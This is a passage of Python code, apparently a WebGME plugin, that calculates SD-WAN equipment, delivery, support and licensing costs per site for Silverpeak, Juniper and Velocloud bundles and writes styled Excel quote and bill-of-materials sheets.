= []\n if regionNodes:\n for regionNode in regionNodes:\n if core.get_base_type(regionNode) == self.META[\"Region\"]:\n countryNodes += core.load_children(regionNode)\n return countryNodes\n else:\n print(\"There are no regions in the database\")\n\n#returns all the attributes of the node as a dict\ndef get_attributes_of_node(core, node):\n \"\"\"\n This function gathers all the attributes and values of a node\n Returns the attributes and their values as a dict\n \"\"\"\n attributes = {}\n for attribute in core.get_attribute_names(node):\n attributes[attribute] = core.get_attribute(node,attribute)\n return attributes\n\ndef connect_country_to_site(self, siteNode, projectNode, position_item, site, countryNodes):\n \"\"\"\n This function create an instance of the selected country node and connects it to the site\n Returns the instance\n \"\"\"\n core = self.core\n for countryNode in countryNodes:\n if core.get_attribute(countryNode, \"isoCode2\") == site[\"Country code\"]:\n connection = core.create_child(projectNode, self.META[\"Site2Country\"])\n instance = core.create_child(projectNode, countryNode)\n position_item[\"x\"] += 400\n core.set_registry(instance, \"position\", position_item)\n core.set_pointer(connection, \"src\", instance)\n core.set_pointer(connection, \"dst\", siteNode)\n return instance\n\ndef create_site_in_gme(self, projectNode, countryNodes, site, i):\n \"\"\"\n This function creates a site in the given project node and sets it attributes\n Returns a nodepair of the site node, bundle node and country node\n \"\"\"\n core = self.core\n siteNode = core.create_child(projectNode, self.META[\"Site\"])\n position_item = core.get_registry(projectNode, \"position\")\n position_item[\"y\"] = position_item[\"y\"] + 50 * i\n core.set_registry(siteNode, \"position\", position_item)\n core.set_attribute(siteNode, \"name\", str(site[\"Site ID 1\"]))\n core.set_attribute(siteNode, \"siteId2\", str(site[\"Site ID 2\"]))\n core.set_attribute(siteNode, \"city\", site[\"City\"])\n core.set_attribute(siteNode, \"zipCode\", str(site[\"ZIP code\"]))\n core.set_attribute(siteNode, \"address\", site[\"Address\"])\n core.set_attribute(siteNode, \"siteSetup\", site[\"Site setup\"])\n core.set_attribute(siteNode, \"deviceQuantity\", int(site[\"Device quantity\"]))\n core.set_attribute(siteNode, \"installReq\", site[\"Installation required?\"])\n core.set_attribute(siteNode, \"maintReq\", site[\"Maintenance required?\"])\n core.set_attribute(siteNode, \"orderType\", site[\"Order type\"])\n if site[\"Overlay required?\"] == \"yes\":\n core.set_attribute(siteNode, \"overlayReq\", True)\n if site[\"Underlay required?\"] == \"yes\":\n core.set_attribute(siteNode, \"underlayReq\", True)\n if site[\"Order type\"] == \"Bandwidth based\":\n core.set_attribute(siteNode, \"bandwidth\", site[\"Bandwidth category\"])\n if \"Feature set\" in site.keys():\n core.set_attribute(siteNode, \"featureSet\", site[\"Feature set\"])\n core.set_attribute(siteNode, \"maintenanceType\", site[\"On-site maintenance\"])\n\n bundleNode = connect_vendor_bundle_to_site(self, siteNode, projectNode, position_item, site, site[\"Series\"])\n countryNode = connect_country_to_site(self, siteNode, projectNode, position_item, site, countryNodes)\n nodePair = NodePair(bundleNode,countryNode,siteNode)\n return nodePair\n\ndef create_project_in_gme(self, active_node, projectName, contract_term, series):\n \"\"\"\n This function creates a project node in the webgme and sets it attributes\n Returns the created project node\n \"\"\"\n core = self.core\n projectMeta = self.META[\"Project\"]\n projectNode = core.create_child(active_node, projectMeta)\n core.set_attribute(projectNode, \"name\", projectName)\n core.set_attribute(projectNode, \"date\", date.today().strftime(\"%d/%m/%Y\"))\n core.set_attribute(projectNode, \"contract term\", int(contract_term))\n core.set_attribute(projectNode, \"series\", series)\n return projectNode\n\ndef get_group_nodes(self, nodePair):\n \"\"\"\n This function sets the node pairs group node\n \"\"\"\n core = self.core\n parent_node = core.get_base(nodePair.get_bundleNode())\n relative_path = list(core.is_member_of(parent_node).keys())[0]\n nodePair.set_bundleGroupNode(core.load_by_path(self.root_node, relative_path))\n\n parent_node = core.get_base(nodePair.get_countryNode())\n relative_path = list(core.is_member_of(parent_node).keys())[0]\n nodePair.set_countryGroupNode(core.load_by_path(self.root_node, relative_path))\n\n#gets the delivery costs from Delivery methods node\ndef get_Ro_Destination_DeliveryCost(self, nodePair, deviceQuantity, series, accessories):\n \"\"\"\n This function sets the the delivery cost of the package from Ro to the destination\n It sets directly the nodePair's attribute\n Returns None\n \"\"\"\n core = self.core\n children = core.load_children(self.META[\"Delivery methods\"]) \n child = children[0]\n children = core.load_children(child)\n for child in children:\n packageWeight = deviceQuantity * core.get_attribute(nodePair.get_bundleNode(),\"weight\")\n if series == \"Velocloud\" and accessories:\n packageWeight *= 1.5\n packageWeight = round(packageWeight)\n if core.get_attribute(child,\"name\") == str(packageWeight) + \"_\" + str(core.get_attribute(nodePair.get_countryNode(),\"DHL code\")):\n nodePair.set_Ro_Destination_deliveryCost(core.get_attribute(child, \"cost\"))\n return\n\ndef get_Vendor_Ro_DeliveryCost(self, nodePair, deviceQuantity, series, accessories):\n \"\"\"\n This function sets the the delivery cost of the package from the Vendor's country to Ro\n It sets directly the nodePair's attribute\n Returns None\n \"\"\"\n core = self.core\n vendorCountryDHLcode = 0\n if series == \"Silverpeak\":\n vendorCountryDHLcode = 5 #US dhl code Silverpeak devices warehouse\n else:\n vendorCountryDHLcode = 2 #NL dhl code Juniper and Velocloud warehouse\n\n children = core.load_children(self.META[\"Delivery methods\"])\n child = children[0]\n children = core.load_children(child)\n for child in children:\n packageWeight = deviceQuantity * core.get_attribute(nodePair.get_bundleNode(),\"weight\")\n if series == \"Velocloud\" and accessories:\n packageWeight *= 1.5\n packageWeight = round(packageWeight)\n if core.get_attribute(child,\"name\") == str(packageWeight) + \"_\" + str(vendorCountryDHLcode):\n nodePair.set_Us_Ro_deliveryCost(core.get_attribute(child, \"cost\"))\n return\n\ndef create_BOM_row(siteID,code,description,quantity,discount,unit_list,contract_term=1):\n \"\"\"\n This function creates a row so later we can add it to the BOM dataframe\n Returns the created row\n \"\"\"\n global bom\n bom_row = {\n \"Site ID\":siteID,\n \"Code\":code,\n \"Description\": description,\n \"Quantity\": quantity * contract_term,\n \"Discount\": discount,\n \"Unit list\": unit_list,\n \"Unit net\": unit_list * (1 - discount)\n }\n bom_row[\"Total Due\"] = bom_row[\"Unit net\"] * quantity * contract_term\n return bom_row\n\ndef append_to_BOM_df(df,bom):\n \"\"\"\n This function appends the given bom row to the BOM dataframe\n Returns the modified dataframe\n \"\"\"\n for i in range(len(bom)):\n df = df.append(bom[i],ignore_index=True)\n if i == len(bom)-1:\n df = df.append({'Site ID':\"\",'Code':\"\",'Description':\"\",'Quantity':\"\",'Discount':\"\",'Unit list':\"\",'Unit net':\"\",'Total Due':\"\"},ignore_index=True)\n return df\n\ndef get_silverpeak_costs(self, nodePair, site, accessories):\n \"\"\"\n This function gathers the silverpeak bundle's costs\n Returns a dict with the costs\n \"\"\"\n bundleNode = nodePair.get_bundleNode()\n core = self.core\n bundle = {\n \"hardware\" : 0,\n \"software\" : 0,\n \"support\" : 0,\n \"license\" : 0,\n \"accessories\": 0,\n \"BOM\":[]\n }\n \n bundle[\"hardware\"] = float(core.get_attribute(bundleNode, \"cost\")) * (1 - float(core.get_attribute(bundleNode, \"discount\")))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(bundleNode, \"vendorCode\"),description=core.get_attribute(bundleNode, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(bundleNode, \"discount\"),unit_list=core.get_attribute(bundleNode, \"cost\")))\n bundle[\"weight\"] = core.get_attribute(bundleNode, \"weight\")\n\n parts = core.load_children(bundleNode)\n for part in parts:\n if core.get_attribute(part, \"type\") == \"Support\" and \"1M\" in core.get_attribute(part,\"name\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"support\"] = core.get_attribute(part,\"cost\") * (1 - core.get_attribute(part,\"discount\")) * site[\"Contract term\"]\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"), description=core.get_attribute(part, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(part, \"discount\"), unit_list=core.get_attribute(part, \"cost\"), contract_term=site['Contract term']))\n for accessory in accessories:\n for part in parts:\n if core.get_attribute(part, \"type\") == \"Accessory\" and accessory['code'] == core.get_attribute(part, \"vendorCode\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"accessories\"] += core.get_attribute(part,\"cost\") * (1 - float(core.get_attribute(bundleNode, \"discount\"))) * accessory['quantity']\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"), description=core.get_attribute(part, \"description\"), quantity=accessory['quantity'], discount=core.get_attribute(bundleNode, \"discount\"), unit_list=core.get_attribute(part, \"cost\")))\n return bundle\n\ndef get_juniper_costs(self, nodePair, site, accessories):\n \"\"\"\n This function gathers the Juniper bundle's costs\n Returns a dict with the costs\n \"\"\"\n bundleNode = nodePair.get_bundleNode()\n core = self.core\n bundle = {\n \"hardware\" : 0,\n \"software\" : 0,\n \"support\" : 0,\n \"license\" : 0,\n \"accessories\": 0,\n \"BOM\" : []\n }\n\n supportDelay = \"ND\"\n if site[\"On-site maintenance\"] == \"Silver\" or site[\"On-site maintenance\"] == \"Gold\":\n supportDelay = \"SD\"\n\n featureSet = \"STD\"\n if \"Feature set\" in site.keys() and site[\"Feature set\"] == \"Extended\":\n featureSet = \"EXT\"\n\n bundle[\"hardware\"] = float(core.get_attribute(bundleNode, \"cost\")) * (1 - float(core.get_attribute(bundleNode, \"discount\")))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(bundleNode, \"vendorCode\"),description=core.get_attribute(bundleNode, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(bundleNode, \"discount\"),unit_list=core.get_attribute(bundleNode, \"cost\")))\n core.set_attribute(bundleNode, \"cost\", bundle[\"hardware\"])\n bundle[\"weight\"] = core.get_attribute(bundleNode, \"weight\")\n parts = core.load_children(bundleNode)\n contract_term_in_years = str(site[\"Contract term\"]) + \"M\"\n for part in parts:\n if contract_term_in_years in core.get_attribute(part, \"name\") and featureSet in core.get_attribute(part, \"name\"):\n if core.get_attribute(part, \"type\") == \"Support\" and (\"SUP\" in core.get_attribute(part,\"name\") or supportDelay in core.get_attribute(part,\"name\")):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"support\"] += core.get_attribute(part, \"cost\") * (1 - core.get_attribute(part, \"discount\"))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(part, \"discount\"),unit_list=core.get_attribute(part, \"cost\")))\n elif core.get_attribute(part, \"type\") == \"Software\":\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"software\"] += core.get_attribute(part, \"cost\") * (1 - core.get_attribute(part, \"discount\"))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(part, \"discount\"),unit_list=core.get_attribute(part, \"cost\")))\n elif core.get_attribute(part, \"type\") == \"License\":\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"license\"] = core.get_attribute(part, \"cost\") * (1 - core.get_attribute(part, \"discount\"))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(part, \"discount\"),unit_list=core.get_attribute(part, \"cost\")))\n bundle[\"hardware\"] += bundle[\"software\"]\n\n for accessory in accessories:\n for part in parts:\n if core.get_attribute(part, \"type\") == \"Accessory\" and accessory['code'] == core.get_attribute(part, \"vendorCode\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"accessories\"] += core.get_attribute(part, \"cost\") * (1 - core.get_attribute(bundleNode, \"discount\")) * accessory['quantity']\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"), description=core.get_attribute(part, \"description\"), quantity=accessory['quantity'], discount=core.get_attribute(bundleNode, \"discount\"), unit_list=core.get_attribute(part, \"cost\")))\n return bundle\n\ndef get_velocloud_costs(self, nodePair, site, accessories):\n \"\"\"\n This function gathers the Velocloud bundle's costs\n Returns a dict with the costs\n \"\"\"\n global apac_countries\n global latam_countries\n bundleNode = nodePair.get_bundleNode()\n countryNode = nodePair.get_countryNode()\n core = self.core\n bundle = {\n \"hardware\" : 0,\n \"software\" : 0,\n \"support\" : 0,\n \"license\" : 0,\n \"accessories\": 0,\n \"BOM\" : []\n }\n\n additionalDiscount = 0\n if site[\"Contract term\"] >= 36:\n additionalDiscount = 0.03\n\n\n if \"Feature set\" in site.keys():\n featureSet = site[\"Feature set\"].split(\"-\")\n\n supportDelay = \"NDD\"\n if site[\"On-site maintenance\"] == \"Silver\":\n supportDelay = \"4H5\"\n elif site[\"On-site maintenance\"] == \"Gold\":\n supportDelay = \"4H7\"\n\n bundle[\"hardware\"] = core.get_attribute(bundleNode, \"cost\") * (1 - core.get_attribute(bundleNode, \"discount\") - additionalDiscount)\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(bundleNode, \"vendorCode\"),description=core.get_attribute(bundleNode, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(bundleNode, \"discount\") + additionalDiscount,unit_list=core.get_attribute(bundleNode, \"cost\")))\n bundle[\"weight\"] = core.get_attribute(bundleNode, \"weight\")\n if latam_countries is None and apac_countries is None:\n with open(\"./imports/LATAMcountries.csv\", \"r\") as f:\n latam_countries = f.read().split(\";\")\n with open(\"./imports/APACcountries.csv\", \"r\") as f:\n apac_countries = f.read().split(\";\")\n parts = core.load_children(bundleNode)\n contract_term = str(int(site[\"Contract term\"])) + \"P\"\n\n bandwidth = 0\n if site[\"Order type\"] == \"Bandwidth based\":\n if int(site[\"Bandwidth category\"])//1000 == 0:\n if int(site[\"Bandwidth category\"]) < 100:\n bandwidth = \"0\" + str(site[\"Bandwidth category\"]) + \"M\"\n else:\n bandwidth = str(site[\"Bandwidth category\"]) + \"M\"\n else:\n bandwidth = str(int(site[\"Bandwidth category\"]) // 1000) + \"G\"\n\n for part in parts:\n if contract_term in core.get_attribute(part, \"name\"):\n if core.get_attribute(part, \"type\") == \"Support\" and supportDelay in core.get_attribute(part, \"name\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"support\"] = core.get_attribute(part, \"cost\") * (1 - core.get_attribute(bundleNode, \"discount\") - additionalDiscount) + core.get_attribute(part, \"upgradeMargin\") * bundle[\"hardware\"]\n if site[\"Contract term\"] >= 36:\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(bundleNode, \"discount\") + additionalDiscount,unit_list=core.get_attribute(part, \"cost\")))\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=\"VC-SUP-UPG-\" + supportDelay + \"-12P\",description=core.get_attribute(part, \"upgradeDescription\"), quantity=site[\"Device quantity\"], discount=core.get_attribute(bundleNode, \"discount\") + additionalDiscount,unit_list=core.get_attribute(part, \"upgradeMargin\") * core.get_attribute(bundleNode, \"cost\")))\n elif bandwidth != 0 :\n if site['Device quantity'] == 1:\n quantity = 1\n else:\n quantity = site['Device quantity'] // 2\n i = 0\n for i in range(len(featureSet)):\n if featureSet[i] not in core.get_attribute(part,\"name\") :\n break\n elif i == len(featureSet) - 2:\n if \"G\" not in featureSet[2] and \"G\" in core.get_attribute(part,\"name\"):\n break\n upgradeMargin = 0\n if featureSet[-1] == \"PROD\":\n upgradeCode = \"VC-PROD-UPG-\" + str(site[\"Contract term\"]) + \"P\"\n upgradeMargin = 0.05\n upgradeDescription = \"VMware SD-WAN support upgrade to Production, Subscription for \" + str(int(site[\"Contract term\"] / 12)) + \" year, Prepaid\"\n elif featureSet[-1] == \"PREM\":\n upgradeCode = \"VC-PREM-UPG-\" + str(site[\"Contract term\"]) + \"P\"\n upgradeMargin = 0.07\n upgradeDescription = \"VMware SD-WAN support upgrade to Premier, Subscription for \" + str(int(site[\"Contract term\"] / 12)) + \" year, Prepaid\"\n \n if core.get_attribute(part, \"type\") == \"Software\" and bandwidth in core.get_attribute(part, \"name\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"software\"] = core.get_attribute(part, \"cost\") * (1 - core.get_attribute(part, \"discount\") - additionalDiscount) + upgradeMargin * core.get_attribute(part, \"cost\") * (1 - core.get_attribute(part,\"discount\") - additionalDiscount)\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=quantity, discount=core.get_attribute(part, \"discount\") + additionalDiscount,unit_list=core.get_attribute(part, \"cost\")))\n if featureSet[-1] != \"BAS\":\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=upgradeCode,description=upgradeDescription, quantity=quantity, discount=core.get_attribute(part, \"discount\") + additionalDiscount, unit_list= upgradeMargin * core.get_attribute(part, \"cost\")))\n if core.get_attribute(part, \"type\") == \"License\" and featureSet[1] == \"HO\" and featureSet[2] == \"HG\" and bandwidth in core.get_attribute(part, \"vendorCode\") and ((core.get_attribute(countryNode, \"name\") in apac_countries and \"APAC\" in core.get_attribute(part,\"name\")) or (core.get_attribute(countryNode, \"name\") in latam_countries and \"LATAM\" in core.get_attribute(part,\"name\"))):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"license\"] = core.get_attribute(part, \"cost\") * (1 - core.get_attribute(bundleNode, \"discount\") - additionalDiscount)\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"),description=core.get_attribute(part, \"description\"), quantity=quantity, discount=core.get_attribute(part, \"discount\") + additionalDiscount,unit_list=core.get_attribute(part, \"cost\")))\n for accessory in accessories:\n for part in parts:\n if core.get_attribute(part, \"type\") == \"Accessory\" and accessory['code'] == core.get_attribute(part, \"vendorCode\"):\n core.set_registry(part, \"color\", \"#00FF00\")\n bundle[\"accessories\"] += core.get_attribute(part, \"cost\") * (1 - core.get_attribute(bundleNode, \"discount\") - additionalDiscount) * accessory['quantity']\n bundle[\"BOM\"].append(create_BOM_row(siteID=str(site[\"Site ID 1\"]) + str(site[\"Site ID 2\"]),code=core.get_attribute(part, \"vendorCode\"), description=core.get_attribute(part, \"description\"), quantity=accessory['quantity'], discount=core.get_attribute(bundleNode, \"discount\") + additionalDiscount, unit_list=core.get_attribute(part, \"cost\")))\n return bundle\n\ndef get_install_uninstall_price(sites,i):\n \"\"\"\n This function gathers the cost for the install and uninstall on the site\n \"\"\"\n if sites[i][\"Series\"] != \"Velocloud\":\n if sites[i][\"Site setup\"] == \"Standby\":\n price = 600\n else:\n price = 600 + 150 * (sites[i][\"Device quantity\"] - 1)\n elif sites[i][\"Series\"] == \"Velocloud\":\n excel_df = pandas.read_excel(\"./imports/velocloudInstallPrices.xlsx\",engine='openpyxl',dtype=object)\n result = excel_df.to_json(orient=\"records\")\n installprices = json.loads(result)\n for prices in installprices:\n if sites[i][\"Country code\"] == prices[\"code\"]:\n if sites[i][\"Site setup\"] == \"Standby\":\n price = prices[\"base\"]\n else:\n price= prices[\"base\"] + prices[\"additional\"] * (sites[i][\"Device quantity\"] - 1)\n return price\n\ndef get_cell(sheet,name,i,max_col):\n \"\"\"\n This function seraches a cell with the given column name and i (row)\n \"\"\"\n for rows in sheet.iter_rows(min_row=i, max_row = i+1, min_col=1,max_col=max_col):\n for cell in rows:\n if name == cell.value:\n return cell \n\ndef add_styles_to_excel(filename, vendor, MarginOnDelivery, overlay, underlay, underlayColumns):\n \"\"\"\n This function adds the design to the excel we generated\n \"\"\"\n workbook = openpyxl.load_workbook(filename=\"./outputs/\" + filename + \".xlsx\")\n if \"Calc\" in workbook.sheetnames:\n #Editing Calc sheet\n sheet = workbook['Calc']\n max_row = sheet.max_row\n max_col = sheet.max_column\n sheet[\"W\" + str(max_row + 1)] = \"=SUM(W2:W\" + str(max_row) + \")\"\n max_row += 1\n sheet[\"X\" + str(max_row)] = \"=SUM(X2:X\" + str(max_row - 1) + \")\"\n sheet[\"Y\" + str(max_row)] = \"=SUM(Y2:Y\" + str(max_row - 1) + \")\"\n sheet[\"AA\" + str(max_row)] = \"=SUM(AA2:AA\" + str(max_row - 1) + \")\"\n sheet[\"AB\" + str(max_row)] = \"=SUM(AB2:AB\" + str(max_row - 1) + \")\"\n sheet[\"AC\" + str(max_row)] = \"=SUM(AC2:AC\" + str(max_row - 1) + \")\"\n sheet[\"AD\" + str(max_row)] = \"=SUM(AD2:AD\" + str(max_row - 1) + \")\"\n sheet[\"AE\" + str(max_row)] = \"=SUM(AE2:AE\" + str(max_row - 1) + \")\"\n sheet[\"AF\" + str(max_row)] = \"=SUM(AF2:AF\" + str(max_row - 1) + \")\"\n sheet[\"AG\" + str(max_row)] = \"=SUM(AG2:AG\" + str(max_row - 1) + \")\"\n sheet[\"AH\" + str(max_row)] = \"=SUM(AH2:AH\" + str(max_row - 1) + \")\"\n if vendor == \"Juniper\":\n sheet[\"AI\" + str(max_row)] = \"=SUM(AI2:AI\" + str(max_row - 1) + \")\"\n elif vendor == \"Velocloud\":\n sheet[\"AI\" + str(max_row)] = \"=SUM(AI2:AI\" + str(max_row - 1) + \")\"\n sheet[\"AJ\" + str(max_row)] = \"=SUM(AJ2:AJ\" + str(max_row - 1) + \")\"\n sheet[\"W\" + str(max_row + 2)] = \"EU\"\n max_row += 2\n sheet[\"X\" + str(max_row)] = \"=SUMIF(T2:T\" + str(max_row - 3) + \",W\" + str(max_row) + \",Y2:Y\" + str(max_row - 3) + \")\"\n sheet[\"W\" + str(max_row + 1)] = \"Not EU\"\n max_row += 1\n sheet[\"X\" + str(max_row)] = \"=SUMIF(T2:T\" + str(max_row - 4) + \",W\" + str(max_row) + \",Y2:Y\" + str(max_row - 4) + \")\"\n\n accountant_format = u'_($* #,##0.00_);[Red]_($* (#,##0.00);_($* _0_0_);_(@'\n for rows in sheet.iter_rows(min_row=1, max_row=max_row+1, min_col=1):\n for cell in rows:\n if cell.row ==1:\n cell.fill = openpyxl.styles.PatternFill(fgColor=\"808080\", fill_type = \"solid\")\n cell.font = openpyxl.styles.Font(color=\"FFFFFF\")\n elif cell.column >= 23 and cell.column != 26:\n cell.number_format = accountant_format\n else:\n cell.alignment = openpyxl.styles.Alignment(wrap_text=True)\n cell.alignment = openpyxl.styles.Alignment(wrap_text=True, horizontal=\"center\", vertical=\"center\")\n \n\n for i in range(1, max_col+1):\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].bestFit = True\n sheet.column_dimensions[openpyxl.utils.get_column_letter(i)].auto_size = True\n\n sheet.column_dimensions[\"G\"].width = 50\n\n if \"Quote\" in workbook.sheetnames:\n #Editing Quote sheet\n\n sheet = workbook['Quote']\n sheet.insert_rows(idx=1, amount=2)\n max_row = sheet.max_row\n max_col = sheet.max_column\n sheet[\"F1\"] = date.today().strftime(\"%d/%m/%Y\")\n sheet[\"G1\"] = \"Quote expires in 60 days\"\n sheet[\"G2\"] = \"This is a budgetary quote\"\n sheet[\"A\" + str(max_row + 1)] = \"Subtotal\"\n max_row += 1\n sheet.merge_cells(\"A\" + str(max_row) + \":C\" + str(max_row))\n\n if overlay:\n sheet[\"V1\"] = \"Combridge margin\"\n sheet[\"V2\"] = \"Yearly finance margin\"\n sheet[\"W1\"] = \"6%\"\n sheet[\"W2\"] = \"4%\"\n if vendor == \"Juniper\":\n sheet[\"AL2\"] = \"20%\"\n sheet[\"AM2\"] = \"80%\"\n elif vendor == \"Velocloud\":\n sheet[\"AM2\"] = \"20%\"\n sheet[\"AN2\"] = \"80%\"\n elif vendor == \"Silverpeak\":\n sheet[\"AK2\"] = \"20%\"\n sheet[\"AL2\"] = \"80%\"\n \n sheet[\"P3\"].comment = openpyxl.comments.Comment('Final delivery costing component, door to door managed delivery service','Malwin')\n sheet[\"Q3\"].comment = openpyxl.comments.Comment('Delivery cost for the pick-up of the devices from the warehouse of the vendor','Malwin')\n sheet[\"R3\"].comment = openpyxl.comments.Comment('Physical uninstallation of the devices with remote support from our provisioning engineers','Malwin')\n sheet[\"S3\"].comment = openpyxl.comments.Comment('Physical installation of the devices with remote support from our provisioning engineers','Malwin')\n sheet[\"T3\"].comment = openpyxl.comments.Comment('Possible maintenance types:\\nBronze - next business day\\nSilver - 8x5x8\\nGold - 24x7x4','Malwin')\n sheet[\"U3\"].comment = openpyxl.comments.Comment('Yearly fee for the field engineer coverage, on site hand and eyes support','Malwin')\n sheet[\"V3\"].comment = openpyxl.comments.Comment('Purchase cost of the equipment, derived from the vendor ','Malwin')\n sheet[\"W3\"].comment = openpyxl.comments.Comment('Purchase cost of the accessories, derived from the vendor', 'Malwin')\n sheet[\"X3\"].comment = openpyxl.comments.Comment('Purchase cost of the yearly vendor support, derived from the vendor ','Malwin')\n sheet[\"Y3\"].comment = openpyxl.comments.Comment('Purchase cost of the devices lifted up with 6% Combridge margin','Malwin')\n sheet[\"Z3\"].comment = openpyxl.comments.Comment('Purchase cost of the yearly vendor support lifted up with 6% Combridge margin ','Malwin')\n sheet[\"AA3\"].comment = openpyxl.comments.Comment('Net price of the equipment conform the number of equipment per each site, including Combridge margin','Malwin')\n sheet[\"AB3\"].comment = openpyxl.comments.Comment('Net price of the accessories conform the number of accessories per each site, including Combridge margin','Malwin')\n sheet[\"AC3\"].comment = openpyxl.comments.Comment('Net price of the yearly vendor support conform the number of equipment per each site, including Combridge margin','Malwin')\n sheet[\"AD3\"].comment = openpyxl.comments.Comment('Yearly fee for the field engineer coverage, on site hand and eyes support','Malwin')\n sheet[\"AE3\"].comment = openpyxl.comments.Comment('Uninstallation, Installation and delivery fees added together','Malwin')\n sheet[\"AF3\"].comment = openpyxl.comments.Comment('Net price of the vendor support summed up for the contract term','Malwin')\n sheet[\"AG3\"].comment = openpyxl.comments.Comment('Net price of the field service fee summed up for the contract term','Malwin')\n sheet[\"AH3\"].comment = openpyxl.comments.Comment('Monthly cost element to cover the local licensing','Malwin')\n\n sheet[\"P\" + str(max_row)] = \"=SUM(P4:P\" + str(max_row - 1) + \")\"\n sheet[\"Q\" + str(max_row)] = \"=SUM(Q4:Q\" + str(max_row - 1) + \")\"\n sheet[\"R\" + str(max_row)] = \"=SUM(R4:R\" + str(max_row - 1) + \")\"\n sheet[\"S\" + str(max_row)] = \"=SUM(S4:S\" + str(max_row - 1) + \")\"\n sheet[\"U\" + str(max_row)] = \"=SUM(U4:U\" + str(max_row - 1) + \")\"\n sheet[\"V\" + str(max_row)] = \"=SUM(V4:V\" + str(max_row - 1) + \")\"\n sheet[\"W\" + str(max_row)] = \"=SUM(W4:W\" + str(max_row - 1) + \")\"\n sheet[\"X\" + str(max_row)] = \"=SUM(X4:X\" + str(max_row - 1) + \")\"\n sheet[\"Y\" + str(max_row)] = \"=SUM(Y4:Y\" + str(max_row - 1) + \")\"\n sheet[\"Z\" + str(max_row)] = \"=SUM(Z4:Z\" + str(max_row - 1) + \")\"\n sheet[\"AA\" + str(max_row)] = \"=SUM(AA4:AA\" + str(max_row - 1) + \")\"\n sheet[\"AB\" + str(max_row)] = \"=SUM(AB4:AB\" + str(max_row - 1) + \")\"\n sheet[\"AC\" + str(max_row)] = \"=SUM(AC4:AC\" + str(max_row - 1) + \")\"\n sheet[\"AD\" + str(max_row)] = \"=SUM(AD4:AD\" + str(max_row - 1) + \")\"\n sheet[\"AE\" + str(max_row)] = \"=SUM(AE4:AE\" + str(max_row - 1) + \")\"\n sheet[\"AF\" + str(max_row)] = \"=SUM(AF4:AF\" + str(max_row - 1) + \")\"\n sheet[\"AG\" + str(max_row)] = \"=SUM(AG4:AG\" + str(max_row - 1) + \")\"\n sheet[\"AH\" + str(max_row)] = \"=SUM(AH4:AH\" + str(max_row - 1) + \")\"\n\n if vendor == \"Juniper\":\n sheet[\"AI\" + str(max_row)] = \"=SUM(AI4:AI\" + str(max_row - 1) + \")\"\n sheet[\"AK\" + str(max_row)] = \"=SUM(AK4:AK\" + str(max_row - 1) + \")\"\n sheet[\"AL\" + str(max_row)] = \"=SUM(AL4:AL\" + str(max_row - 1) + \")\"\n sheet[\"AM\" + str(max_row)] = \"=SUM(AM4:AM\" + str(max_row - 1) + \")\"\n sheet[\"AN\" + str(max_row)] = \"=SUM(AN4:AN\" + str(max_row - 1) + \")\"\n\n sheet[\"AI3\"].comment = openpyxl.comments.Comment('SD WAN Software licenses, lifted up with Combridge Margin','Malwin')\n sheet[\"AJ3\"].comment = openpyxl.comments.Comment('Includes coordination and synchronisation of the rollout from the procurement phase until the start of service on customer location, staging/pre-configuration activities if required','Malwin')\n sheet[\"AK3\"].comment = openpyxl.comments.Comment('Value of the project management fee, calculated from the total value of costs over the contract term for each site separately','Malwin')\n sheet[\"AL3\"].comment = openpyxl.comments.Comment(\"One time cost components summed up, includes 